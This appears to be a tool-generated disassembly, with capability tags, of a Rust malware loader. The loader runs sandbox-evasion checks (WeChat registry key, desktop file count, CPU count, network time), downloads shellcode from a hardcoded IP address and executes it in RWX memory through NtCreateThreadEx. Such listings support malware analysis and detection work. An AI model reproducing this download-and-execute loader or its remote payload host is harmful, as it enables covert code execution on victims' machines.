Function at 0x14000613f
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate files on windows
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa88
movaps xmmword [rsp + 0xa70], xmm6
mov ecx, 5
call dbg.sleep
movups xmm0, xmmword [0x1400c5b84]
lea rcx, [rsp + 0x110]
movaps xmmword [rcx], xmm0
lea rbp, [rsp + 0x3a0]
and qword [rbp], 0
xor edx, edx
xor r8d, r8d
mov r9, rbp
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rbp]
test eax, eax
je 0x1400061a7
call sub.ole32.dll_CoTaskMemFree
mov byte [rsp + 0x108], 2
jmp 0x1400061de
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x3a0]
lea rsi, [rsp + 0xf0]
mov rcx, rsi
call dbg.from_wide
mov rcx, qword [rsp + 0x3a0]
call sub.ole32.dll_CoTaskMemFree
cmp byte [rsi + 0x18], 2
jne 0x140006427
lea rax, str.Unable_to_get_the_users_home_directory_n_b:_f_
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x140123ed0]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call dbg._eprint
mov ecx, 5
call dbg.sleep
mov dword [rsp + 0x20], 1
lea r8, str.SOFTWARETencent_bugReportWechatWindowsInstallDirWeChat_installation_path:
lea rsi, [rsp + 0x80]
mov r9d, 0x28
mov rcx, rsi
mov rdx, 0xffffffff80000002
call sym.winreg::reg_key::RegKey::open_subkey_with_flags::h9c4bfd709c9382b0
cmp qword [rsi], 0
je 0x1400062b2
mov rax, qword [rsp + 0x88]
lea rsi, [rsp + 0x600]
mov qword [rsi], rax
mov qword [rsp + 0x3a0], rsi
lea rax, str.Unable_to_open_registry_subkey:
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hf61a9982636bd69d]
mov qword [rsp + 0x3a8], rax
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 1
call dbg._eprint
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x140006694
mov rdi, qword [rsp + 0x88]
lea r8, [0x1400c3a68]
lea rsi, [rsp + 0x600]
mov r9d, 0xa
mov rcx, rsi
mov rdx, rdi
call sym.winreg::reg_key::RegKey::get_value::hf2e648f41654a795
mov rbx, qword [rsi]
test rbx, rbx
je 0x14000662a
mov r14, qword [rsp + 0x608]
mov r15, qword [rsp + 0x610]
test r15, r15
je 0x14000639e
lea r13, [rbx + r15]
xor r12d, r12d
mov rcx, rbx
lea rax, [rcx + 1]
mov dl, byte [rcx]
mov r8d, 1
test dl, dl
jns 0x14000638f
cmp dl, 0xe0
jae 0x140006331
add rcx, 2
cmp rax, r13
cmovne rax, rcx
mov r8d, 2
jmp 0x14000638f
cmp dl, 0xed
jne 0x14000635d
cmp rax, r13
je 0x14000639e
lea rax, [rcx + 2]
cmp rax, r13
je 0x14000639e
cmp byte [rcx + 1], 0x9f
ja 0x140007346
add rcx, 3
mov r8d, 3
mov rax, rcx
jmp 0x14000638f
add rcx, 2
cmp rax, r13
cmove rcx, rax
xor eax, eax
cmp rcx, r13
setne al
add rax, rcx
mov r8d, 3
cmp dl, 0xf0
jb 0x14000638f
xor ecx, ecx
cmp rax, r13
setne cl
add rax, rcx
mov r8d, 4
add r12, r8
mov rcx, rax
cmp rax, r13
jne 0x140006309
mov qword [rsp + 0x3a8], rbx
mov qword [rsp + 0x3b0], r15
and qword [rsp + 0x3a0], 0
lea rax, [rsp + 0x850]
mov qword [rax], rbp
lea rdx, str.r:_f_
lea rcx, [rsp + 0x110]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rdx, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::hd0a847ec25702675]
mov qword [rax + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg._print
mov rcx, qword [rsp + 0x3a0]
test rcx, rcx
je 0x140006417
mov rdx, qword [rsp + 0x3a8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
mov rcx, rbx
mov rdx, r14
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
jmp 0x14000668c
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
lea rsi, [rsp + 0x380]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
lea rdx, str.Desktop
mov r8d, 7
mov rcx, rsi
call dbg._push
mov r15, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, r15
call dbg.from_utf8
cmp qword [rsi], 0
jne 0x140007711
mov rsi, qword [rsp + 0x120]
test rsi, rsi
je 0x140006ef1
js 0x14000772b
mov rdi, qword [rsp + 0x118]
mov al, byte [0x1401351a8]
mov edx, 1
mov rcx, rsi
call sym.__rust_alloc
test rax, rax
je 0x140007732
mov r14, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
mov al, byte [0x1401351a8]
mov edx, 1
mov rcx, rsi
call sym.__rust_alloc
test rax, rax
je 0x140007741
mov rbx, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
lea rcx, [rsp + 0x110]
mov qword [rcx], rbx
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov byte [rcx + 0x18], 0
lea rdx, [0x1400fb5f8]
mov r8d, 1
call dbg._push
lea rcx, [rsp + 0x110]
mov rbx, qword [rcx]
mov r12, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rdx, rbx
call dbg.inner
mov rax, qword [rsp + 0x110]
mov r13, qword [rsp + 0x118]
test rax, rax
je 0x140006f00
lea rdx, [rsp + 0x110]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], rax
mov qword [rdx + 8], r13
mov qword [rdx + 0x10], rcx
lea rcx, [rsp + 0x600]
call dbg.get_long_path
mov r13, qword [rsp + 0x600]
mov rbp, qword [rsp + 0x608]
test r13, r13
je 0x140006f05
lea rdi, [rsp + 0x110]
mov r8d, 0x250
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, r13
mov rdx, rdi
call sub.kernel32.dll_FindFirstFileW
mov rdi, rax
cmp rax, 0xffffffffffffffff
mov qword [rsp + 0x58], r12
je 0x140006f3a
mov al, byte [0x1401351a8]
mov ecx, 0x30
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140007750
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rsi
mov rsi, rax
mov byte [rax + 0x28], 0
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x110]
mov r8d, 0x250
call sym.memcpy
mov r12d, 1
jmp 0x140006f50
mov rax, qword [rsp + 0x608]
lea rsi, [rsp + 0x850]
mov qword [rsi], rax
mov qword [rsp + 0x3a0], rsi
lea rax, str.Unable_to_retrieve_registry_key_value:
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hf61a9982636bd69d]
mov qword [rsp + 0x3a8], rax
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 1
call dbg._eprint
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
mov rcx, rdi
call sym.__winreg::reg_key::RegKey_as_core::ops::drop::Drop_::drop::h0ba137f898e70945
mov rcx, 0xffffffff80000002
call sym.__winreg::reg_key::RegKey_as_core::ops::drop::Drop_::drop::h0ba137f898e70945
mov ecx, 5
call dbg.sleep
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rsp + 0x3a0]
mov r8d, 0x25
mov rcx, rsi
call sym.reqwest::blocking::get::ha513f79aacdaa77b
mov rdi, qword [rsi]
cmp rdi, 3
je 0x14000769d
lea rdx, [rsp + 0x3b0]
mov rbx, qword [rdx - 8]
lea rsi, [rsp + 0x610]
mov r8d, 0xb0
mov rcx, rsi
call sym.memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], rbx
lea rdi, [rsp + 0x850]
lea rsi, [rsp + 0x600]
mov rcx, rdi
mov rdx, rsi
call sym.reqwest::blocking::response::Response::json::h0e4fc18646cf7dee
mov rax, qword [rdi]
test rax, rax
je 0x1400076a7
mov rdx, qword [rsp + 0x858]
movups xmm0, xmmword [rsp + 0x860]
lea rcx, [rsp + 0xb0]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rsp + 0x870]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call sym.std::collections::hash::map::HashMap_K_V_S_::get::hbb17a990b7ad233e
mov rdi, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov rcx, rax
call sym.core::option::Option_T_::unwrap::h637f0790562ad6ca
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rdi, [rsp + 0x3a0]
mov rcx, rdi
call sym.core::num::__impl_core::str::traits::FromStr_for_i64_::from_str::h23e64319c9e44e8b
mov cl, byte [rdi]
mov dl, byte [rdi + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
call sym.core::result::Result_T_E_::unwrap::haa470fae677f1fe0
mov ecx, 3
call dbg.sleep
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rdi, [rsp + 0x3a0]
mov r8d, 0x25
mov rcx, rdi
call sym.reqwest::blocking::get::ha513f79aacdaa77b
mov rbx, qword [rdi]
cmp rbx, 3
je 0x1400076b1
lea rdx, [rsp + 0x3b0]
mov r14, qword [rdx - 8]
lea rdi, [rsp + 0x120]
mov r8d, 0xb0
mov rcx, rdi
call sym.memcpy
mov qword [rdi - 0x10], rbx
mov qword [rdi - 8], r14
lea rdi, [rsp + 0x850]
lea rdx, [rsp + 0x110]
mov rcx, rdi
call sym.reqwest::blocking::response::Response::json::h0e4fc18646cf7dee
mov rax, qword [rdi]
test rax, rax
je 0x1400076bb
mov rcx, qword [rsp + 0x858]
movups xmm0, xmmword [rsp + 0x860]
lea rdi, [rsp + 0x80]
movups xmmword [rdi + 0x10], xmm0
movups xmm0, xmmword [rsp + 0x870]
movups xmmword [rdi + 0x20], xmm0
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov rcx, rdi
call sym.std::collections::hash::map::HashMap_K_V_S_::get::hbb17a990b7ad233e
mov rbx, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
mov rcx, rax
call sym.core::option::Option_T_::unwrap::h637f0790562ad6ca
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rsp + 0x3a0]
mov rcx, rbx
call sym.core::num::__impl_core::str::traits::FromStr_for_i64_::from_str::h23e64319c9e44e8b
mov cl, byte [rbx]
mov dl, byte [rbx + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_shellcodeAny_20240207004718487.bin
call sym.core::result::Result_T_E_::unwrap::haa470fae677f1fe0
mov rcx, rdi
call sym._ZN4core3ptr110drop_in_place_LT_std..collections..hash..map..HashMap_LT_alloc..string..String_C_alloc..string..String_GT__GT_1
lea rcx, [rsp + 0xb0]
call sym._ZN4core3ptr110drop_in_place_LT_std..collections..hash..map..HashMap_LT_alloc..string..String_C_alloc..string..String_GT__GT_1
mov dword [rsp + 0x20], 0x20019
lea r8, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment___The_number_of_CPUs_is:
lea rdi, [rsp + 0x3a0]
mov r9d, 0x40
mov rcx, rdi
mov rdx, 0xffffffff80000002
call sym.winreg::reg_key::RegKey::open_subkey_with_flags::h9c4bfd709c9382b0
cmp qword [rdi], 0
je 0x1400068fe
mov r15, qword [rsp + 0x3a8]
lea rcx, [rsp + 0x110]
mov qword [rcx], r15
mov qword [rsp + 0x3a0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a8], xmm0
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x140006956
mov rbx, qword [rsp + 0x3a8]
lea r8, str.NUMBER_OF_PROCESSORS
lea r14, [rsp + 0x110]
mov r9d, 0x14
mov rcx, r14
mov rdx, rbx
call sym.winreg::reg_key::RegKey::get_value::hf2e648f41654a795
mov r12, qword [r14]
mov r15, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov rcx, rbx
call sym.__winreg::reg_key::RegKey_as_core::ops::drop::Drop_::drop::h0ba137f898e70945
test r12, r12
je 0x1400068d5
mov qword [rsp + 0x3a0], r12
mov qword [rsp + 0x3a8], r15
mov qword [rsp + 0x3b0], r14
mov rcx, 0xffffffff80000002
call sym.__winreg::reg_key::RegKey_as_core::ops::drop::Drop_::drop::h0ba137f898e70945
mov qword [rsp + 0x600], rdi
lea rax, str._b__f_
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hfc2fbc25c22a4af6]
mov qword [rsp + 0x608], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call dbg._print
mov rax, qword [rsp + 0x3b0]
test rax, rax
je 0x1400076f7
mov rcx, qword [rsp + 0x3a0]
movzx edx, byte [rcx]
cmp edx, 0x2b
je 0x140006a08
cmp edx, 0x2d
jne 0x140006a17
mov dl, 1
cmp rax, 1
je 0x14000765a
cmp rax, 9
jae 0x140006eae
mov r8d, 1
movzx r9d, byte [rcx + r8]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x14000765a
inc r8
cmp rax, r8
jne 0x1400069eb
jmp 0x140006a41
dec rax
je 0x140007658
lea r8, [rcx + 1]
jmp 0x140006a1a
mov r8, rcx
cmp rax, 8
jae 0x140006e6e
xor edx, edx
movzx r9d, byte [r8 + rdx]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140007658
inc rdx
cmp rax, rdx
jne 0x140006a26
lea rsi, [rsp + 0x3a0]
mov rdx, qword [rsi + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
mov ecx, 5
call dbg.sleep
mov qword [rsp + 0x850], 1
xorps xmm6, xmm6
movups xmmword [rsp + 0x858], xmm6
lea rdi, [0x1400c38d3]
lea r14, str.Failed_to_download._Retrying..._n_9_f_
lea r15, [0x140123ed0]
lea rbx, [rsp + 0x110]
mov r8d, 0x3d
mov rcx, rsi
mov rdx, rdi
call sym.reqwest::blocking::get::ha513f79aacdaa77b
cmp dword [rsp + 0x3a0], 3
jne 0x140006af5
mov qword [rsp + 0x110], r14
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], r15
movups xmmword [rsp + 0x128], xmm6
mov rcx, rbx
call dbg._print
mov ecx, 5
call dbg.sleep
cmp dword [rsp + 0x3a0], 3
jne 0x140006a90
mov rcx, rsi
call sym._ZN4core3ptr110drop_in_place_LT_core..result..Result_LT_reqwest..blocking..response..Response_C_reqwest..error..Error_GT__GT_1
jmp 0x140006a90
lea rdi, [rsp + 0x110]
lea rdx, [rsp + 0x3a0]
mov r8d, 0xc0
mov rcx, rdi
call sym.memcpy
lea r14, [rsp + 0x850]
lea r15, [rsp + 0x600]
xorps xmm6, xmm6
xor esi, esi
xor ebx, ebx
xor ebp, ebp
cmp rbx, rsi
jne 0x140006b4e
mov edx, 0x20
mov rcx, r14
call sym.alloc::vec::Vec_T_A_::reserve::h074322f591760c9f
mov rsi, qword [rsp + 0x858]
mov rbx, qword [rsp + 0x860]
mov r12, rsi
sub r12, rbx
mov r8, r12
sub r8, rbp
jb 0x140007644
mov r13, qword [rsp + 0x850]
add r13, rbx
mov rcx, r13
add rcx, rbp
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, r15
mov rdx, rdi
mov r8, r13
mov r9, r12
call sym.__reqwest::blocking::response::Response_as_std::io::Read_::read::h507c285dbcbaf0ef
cmp qword [rsp + 0x600], 0
mov r13, qword [rsp + 0x608]
je 0x140006bca
test r13, r13
je 0x140006cc0
mov rcx, r13
call sym.std::io::error::Error::is_interrupted::haeb6a4a4765d2f8f
test al, al
je 0x14000761d
mov qword [rsp + 0x600], r13
mov rcx, r15
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x140006b2c
test r13, r13
je 0x140006cc0
cmp r12, r13
mov rdx, r13
cmova rdx, r12
mov rcx, r13
mov r8, r12
lea r9, [0x1400c3638]
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h9d4b5
mov rbp, rax
xor ecx, ecx
mov rdx, r13
mov r8, r12
lea r9, [0x1400c3650]
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h9d4b5
add rbx, rax
mov qword [rsp + 0x860], rbx
mov rax, rsi
or rax, rbx
jne 0x140006b2c
movaps xmmword [rsp + 0x610], xmm6
movaps xmmword [rsp + 0x600], xmm6
lea rsi, [rsp + 0x80]
lea rbx, [rsp + 0x88]
mov r9d, 0x20
mov rcx, rsi
mov rdx, rdi
mov r8, r15
call sym.__reqwest::blocking::response::Response_as_std::io::Read_::read::h507c285dbcbaf0ef
cmp qword [rsp + 0x80], 0
je 0x140006c7e
mov r13, qword [rsp + 0x88]
mov rcx, r13
call sym.std::io::error::Error::is_interrupted::haeb6a4a4765d2f8f
test al, al
je 0x14000761d
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x140006c3d
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x140006cc0
cmp rcx, 0x21
jae 0x1400076fe
lea r8, [rsp + rcx]
add r8, 0x600
mov rcx, r14
mov rdx, r15
call fcn.1400343ae
mov rsi, qword [rsp + 0x858]
mov rbx, qword [rsp + 0x860]
jmp 0x140006b2c
lea rcx, [rsp + 0x110]
call sym.core::ptr::drop_in_place_reqwest::blocking::response::Response_::h9b9ae5996207639d
cmp dword [rsp + 0x3a0], 3
jne 0x140006ce4
lea rcx, [rsp + 0x3a0]
call sym._ZN4core3ptr110drop_in_place_LT_core..result..Result_LT_reqwest..blocking..response..Response_C_reqwest..error..Error_GT__GT_1
movups xmm0, xmmword [rsp + 0x850]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x120], rax
mov rcx, qword [0x140135030]
test rcx, rcx
je 0x140006d1c
mov rdx, qword [0x140135038]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
mov rax, qword [rsp + 0x120]
mov qword [0x140135040], rax
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [0x140135030], xmm0
mov ecx, 5
call dbg.sleep
mov rdx, qword [0x140135030]
test rdx, rdx
je 0x140006e52
mov r8, qword [0x140135040]
lea rdi, [rsp + 0x110]
mov rcx, rdi
call sym.__alloc::vec::Vec_T_A__as_core::clone::Clone_::clone::h0c693f8759f463c2
lea r14, [rsp + 0x850]
and qword [r14], 0
mov r12, qword [rdi + 0x10]
lea r15, [rsp + 0x600]
mov qword [r15], r12
and dword [rsp + 0x80], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov rcx, 0xffffffffffffffff
mov rdx, r14
xor r8d, r8d
mov r9, r15
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [r14]
mov rbx, qword [rdi]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, r12
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, r14
mov r8, r15
mov r9d, 0x60
call sub.ntdll.dll_NtProtectVirtualMemory
lea rsi, [rsp + 0x3a0]
and qword [rsi], 0
mov rax, qword [r14]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov rcx, rsi
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsi]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
mov rdx, qword [rdi + 8]
mov rcx, rbx
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
movaps xmm6, xmmword [rsp + 0xa70]
add rsp, 0xa88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r9d, r9d
xor r10d, r10d
cmp rax, r9
je 0x140006a41
movzx r11d, byte [r8 + r9]
imul r10d, r10d, 0xa
seto bl
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x140007658
mov dl, 2
test bl, bl
jne 0x14000765a
inc r9
add r10d, r11d
jno 0x140006e74
jmp 0x14000765a
xor edx, edx
mov r8d, 1
cmp rax, r8
je 0x140006a41
movzx r9d, byte [rcx + r8]
imul edx, edx, 0xa
seto r10b
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x14000768b
test r10b, r10b
jne 0x14000768b
inc r8
sub edx, r9d
jno 0x140006eb6
mov dl, 3
jmp 0x14000765a
movabs r13, 0x300000002
jmp 0x140006f8e
mov rax, r12
jmp 0x140006f13
mov rax, r12
mov r13, rbp
lea rbp, [rsp + 0x3a0]
mov r12d, 2
test rax, rax
je 0x140006f2b
mov edx, 1
mov rcx, rbx
call sym.__rust_dealloc
mov edx, 1
mov rcx, r14
call sym.__rust_dealloc
jmp 0x140006f88
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov rsi, rax
mov r12d, 2
test rbp, rbp
je 0x140006f62
mov edx, 2
mov rcx, r13
call sym.__rust_dealloc
cmp qword [rsp + 0x58], 0
lea rbp, [rsp + 0x3a0]
je 0x140006f7f
mov edx, 1
mov rcx, rbx
call sym.__rust_dealloc
cmp rdi, 0xffffffffffffffff
mov r13, rsi
je 0x140006f2b
cmp r12d, 2
jne 0x140006fed
lea rsi, [rsp + 0x600]
mov qword [rsi], r13
mov qword [rsp + 0x3a0], rsi
lea rax, str.Unable_to_read_the_users_desktop_file_list:
lea rcx, [rsp + 0x110]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hf61a9982636bd69d]
mov qword [rsp + 0x3a8], rax
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 1
call dbg._eprint
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::io::error::Error_::h518c11c78a1d2112
jmp 0x140007331
lea rsi, [rsp + 0x124]
lea rdx, [rsp + 0x3a0]
mov r8d, 0x254
mov rcx, rsi
call sym.memcpy
mov qword [rsp + 0x58], r13
mov qword [rsi - 0x14], r13
mov qword [rsi - 0xc], rdi
mov dword [rsi - 4], r12d
movzx eax, word [rsi + 0x2c]
movzx edx, word [rsi + 0x2e]
movzx r8d, word [rsi + 0x30]
lea r9, [rsp + 0x156]
mov word [rsp + 0x68], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rsp + 0x78], edx
xor edx, 0x2e
mov word [rsp + 0x66], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rsp + 0xe8], r8
or dl, cl
and dl, al
mov byte [rsp + 0x70], dl
lea r13, [rsp + 0x600]
xor r14d, r14d
cmp r12d, 1
setne al
or al, byte [rsp + 0x70]
je 0x14000714b
mov r8d, 0x250
mov rcx, r13
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rdi
mov rdx, r13
call sub.kernel32.dll_FindNextFileW
test eax, eax
je 0x140007200
cmp word [rsp + 0x62c], 0x2e
jne 0x1400070d3
movzx eax, word [rsp + 0x62e]
test ax, ax
je 0x140007097
cmp ax, 0x2e
jne 0x1400070d3
cmp word [rsp + 0x630], 0
je 0x140007097
mov rax, qword [rsp + 0x58]
lock inc qword [rax]
jle 0x140007699
mov r12, qword [rsp + 0x600]
lea rax, [rsp + 0x608]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
mov eax, dword [rax + 0x20]
mov dword [rsp + 0xd0], eax
movzx ebp, word [rsp + 0x62c]
movzx ebx, word [rsp + 0x62e]
movzx esi, word [rsp + 0x630]
mov r8d, 0x21e
lea r15, [rsp + 0x850]
mov rcx, r15
lea rdx, [rsp + 0x632]
call sym.memcpy
jmp 0x1400071ba
mov rax, qword [rsp + 0x58]
lock inc qword [rax]
lea r15, [rsp + 0x850]
jle 0x140007699
lea rcx, [rsp + 0x124]
mov eax, dword [rcx + 0x28]
mov dword [rsp + 0xd0], eax
movups xmm0, xmmword [rcx + 8]
movups xmm1, xmmword [rcx + 0x18]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov r8d, 0x21e
mov rcx, r15
lea rdx, [rsp + 0x156]
call sym.memcpy
movzx esi, word [rsp + 0x66]
mov eax, dword [rsp + 0x78]
mov ebx, eax
movzx ebp, word [rsp + 0x68]
mov r12, qword [rsp + 0xe8]
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0xa0], eax
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r8d, 0x21e
mov rcx, r13
mov rdx, r15
call sym.memcpy
mov rax, qword [rsp + 0x58]
jmp 0x140007220
call sub.kernel32.dll_GetLastError
cmp eax, 0x12
je 0x1400072aa
call sub.kernel32.dll_GetLastError
mov r12d, eax
shl r12, 0x20
or r12, 2
xor eax, eax
mov qword [rsp + 0x3a8], rax
mov qword [rsp + 0x3b0], r12
mov eax, dword [rsp + 0xa0]
lea r15, [rsp + 0x3a0]
mov dword [r15 + 0x38], eax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [r15 + 0x28], xmm1
movups xmmword [r15 + 0x18], xmm0
mov word [rsp + 0x3dc], bp
mov word [rsp + 0x3de], bx
mov word [rsp + 0x3e0], si
mov r8d, 0x21e
lea rcx, [rsp + 0x3e2]
mov rdx, r13
call sym.memcpy
mov qword [rsp + 0x3a0], 1
inc r14
mov rcx, r15
call sym._ZN4core3ptr118drop_in_place_LT_core..option..Option_LT_core..result..Result_LT_std..fs..DirEntry_C_std..io..error..Error_GT__
xor r12d, r12d
jmp 0x140007076
lea rsi, [rsp + 0x110]
and dword [rsi + 0x10], 0
lea rdi, [rsp + 0x3a0]
and qword [rdi], 0
mov rcx, rdi
call sym._ZN4core3ptr118drop_in_place_LT_core..option..Option_LT_core..result..Result_LT_std..fs..DirEntry_C_std..io..error..Error_GT__
mov rcx, qword [rsi + 8]
call sub.kernel32.dll_FindClose
mov rcx, rsi
call sym.core::ptr::drop_in_place_alloc::sync::Arc_std::path::PathBuf__::hd2dde3e5cb9032e5
mov qword [rsp + 0x600], r14
mov qword [rdi], r13
lea rax, str.x9_f_
mov qword [rsi], rax
mov qword [rsi + 8], 2
and qword [rsi + 0x20], 0
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u64_::fmt::hd30b0ddf793f4938]
mov qword [rdi + 8], rax
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 1
lea rcx, [rsp + 0x110]
call dbg._print
mov r15, qword [rsp + 0x380]
lea rbp, [rsp + 0x3a0]
mov rdx, qword [rsp + 0x388]
mov rcx, r15
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h201efe391f01b88a
jmp 0x14000620f
test r15, r15
js 0x14000772b
mov al, byte [0x1401351a8]
mov edx, 1
mov rcx, r15
call sym.__rust_alloc
test rax, rax
je 0x140007761
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], r15
mov rsi, r15
sub rsi, r12
jb 0x14000776b
mov rcx, rax
mov rdx, rbx
mov r8, r12
mov rbp, rax
call sym.memcpy
mov rcx, rbp
mov qword [rsp + 0x120], r12
mov rbp, r12
cmp rsi, 2
ja 0x1400073d2
lea rcx, [rsp + 0x110]
mov r8d, 3
mov rdx, r12
call dbg.do_reserve_and_handle<u8, alloc::alloc::Global>
mov rcx, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x120]
mov byte [rcx + rbp + 2], 0xbd
mov word [rcx + rbp], 0xbfef
add rbp, 3
mov qword [rsp + 0x120], rbp
add r12, 3
cmp r12, r15
ja 0x140007789
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x70], rax
lea r10, [rsp + 0x110]
cmp r12, r15
je 0x1400075ab
lea r9, [rbx + r12]
mov rsi, r12
